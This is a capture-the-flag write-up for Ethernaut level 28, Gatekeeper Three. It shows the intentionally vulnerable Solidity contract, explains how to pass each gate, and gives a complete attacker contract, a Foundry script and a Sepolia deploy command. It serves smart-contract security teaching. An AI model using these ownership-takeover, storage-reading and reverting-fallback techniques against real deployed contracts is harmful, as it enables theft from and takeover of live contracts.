The Ethernaut CTF Solutions | 28 - Gate Keeper Three

The Ethernaut CTF Solutions | 28 - Gate Keeper Three

Gatekeeper's Challenge: Tackling Modifiers and Contract Security Layers

ยท

4 min read

Goals

The Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract SimpleTrick {
    GatekeeperThree public target;
    address public trick;
    uint private password = block.timestamp;

    constructor(address payable _target) {
        target = GatekeeperThree(_target);
    }

    function checkPassword(uint _password) public returns (bool) {
        if (_password == password) {
            return true;
        }
        password = block.timestamp;
        return false;
    }

    function trickInit() public {
        trick = address(this);
    }

    function trickyTrick() public {
        if (address(this) == msg.sender && address(this) != trick) {
            target.getAllowance(password);
        }
    }
}

contract GatekeeperThree {
    address public owner;
    address public entrant;
    bool public allowEntrance;

    SimpleTrick public trick;

    function construct0r() public {
        owner = msg.sender;
    }

    modifier gateOne() {
        require(msg.sender == owner);
        require(tx.origin != owner);
        _;
    }

    modifier gateTwo() {
        require(allowEntrance == true);
        _;
    }

    modifier gateThree() {
        if (
            address(this).balance > 0.001 ether &&
            payable(owner).send(0.001 ether) == false
        ) {
            _;
        }
    }

    function getAllowance(uint _password) public {
        if (trick.checkPassword(_password)) {
            allowEntrance = true;
        }
    }

    function createTrick() public {
        trick = new SimpleTrick(payable(address(this)));
        trick.trickInit();
    }

    function enter() public gateOne gateTwo gateThree {
        entrant = tx.origin;
    }

    receive() external payable {}
}

The hack

The GateKeeperThree is a really simple level. Nothing complex, just to follow the flow of each modifier. So let's check those modifiers:

Gate 1

modifier gateOne() {
    require(msg.sender == owner);
    require(tx.origin != owner);
    _;
}

We just have to call the construct0r() function to become the owner of the contract. This is solidity ^0.8, constructors are defined with the constructor keyword. The following is not a constructor, typo or not.

function construct0r() public {
        owner = msg.sender;
}

On top of that, the function lacks access control so anyone can call it. Already seen in previous levels. Same for the tx.origin != owner check. So let's move on.

Gate 2

modifier gateTwo() {
    require(allowEntrance == true);
    _;
}

To set allowEntrance to true, we need to call the getAllowance function. This function needs a password. And to get the password, we need to read the storage. However, before we can do that, we need to deploy the SimpleTrick contract by calling the createTrick function. Then we can read its storage at slot 2:

  • With web3.js in the browser:
await web3.eth.getStorageAt("0x...your trick address here", 2);
  • With Foundry:
bytes32 pwd = vm.load("0x...your trick address here", bytes32(uint256(2)));

Let's move on to the last modifier.

Gate 3

modifier gateThree() {
    if (address(this).balance > 0.001 ether && payable(owner).send(0.001 ether) == false) {
      _;
    }
}

So the contract needs to have a balance greater than 0.001 ether and must be prevented from being able to send it to our GateSkipperThree contract. So we can either add a fallback function that always reverts, or just make sure our contract can't receive funds by omitting the receive and fallback functions.

And... that's it.

Solution

Here is the full solution:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

interface IKeeper {
    function owner() external view returns (address);
    function entrant() external view returns (address);
    function allowEntrance() external view returns (bool);
    function trick() external view returns (address);
    function construct0r() external;
    function getAllowance(uint _password) external;
    function createTrick() external;
    function enter() external;
}

contract GateSkipperThree {
    IKeeper public immutable keeper;
    address public trick;

    constructor(address _keeper) payable {
        keeper = IKeeper(_keeper);
        keeper.createTrick();
        trick = keeper.trick();
    }

    function attack(bytes32 _password) public {
        // Gate 1: Contract become owner, thanks to the lack of access control
        keeper.construct0r();
        require(keeper.owner() == address(this), "Contract isn't owner!");

        // Gate 2: Call getAllowance to get password
        keeper.getAllowance(uint256(_password));
        require(keeper.allowEntrance(), "allowEntrance isn't true!");

        // Gate 3: Deposit to keeper but revert on receive
        (bool success, ) = address(keeper).call{value: 0.0011 ether}("");
        require(success, "Deposit failed!");

        keeper.enter();
        require(keeper.entrant() == msg.sender, "Attack failed!");
    }

    fallback() external {
        require(true == false);
    }
}

Let's craft a script to facilitate the deployment:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {Script, console2} from "forge-std/Script.sol";
import {GateSkipperThree} from "../src/28_GateKeeperThree.sol";

contract PoC is Script {
    // Replace with your GoodSamaritan instance
    address gateKeepperThree = 0xe05Caa08305692ea6Bb2DB43E4c96a1e7A51FDB0;

    function run() external {
        uint256 deployer = vm.envUint("PRIVATE_KEY");
        vm.startBroadcast(deployer);

        GateSkipperThree gateSkipperThree = new GateSkipperThree{
            value: 0.0011 ether
        }(gateKeepperThree);

        address trick = gateSkipperThree.trick();
        bytes32 pwd = vm.load(trick, bytes32(uint256(2)));

        console2.log("Password: ", uint256(pwd));

        gateSkipperThree.attack(pwd);
        console2.log("Entrant : ", gateSkipperThree.keeper().entrant());

        vm.stopBroadcast();
    }
}

Then you can run the script with the following command:

forge script script/28_GateKeeperThree.s.sol:PoC --rpc-url sepolia --broadcast --verify --etherscan-api-key $ETHERSCAN_API_KEY

And check the result in the console:

๐ŸŽ‰ Level completed ๐ŸŽ‰

Takeaway

  • Use of the receive & fallback functions.

  • tx.origin != msg.sender.

  • private doesn't mean secret in solidity.


You can find all the codes, challenges and their solutions on my GitHub: https://github.com/Pedrojok01/Ethernaut-Solutions/

ย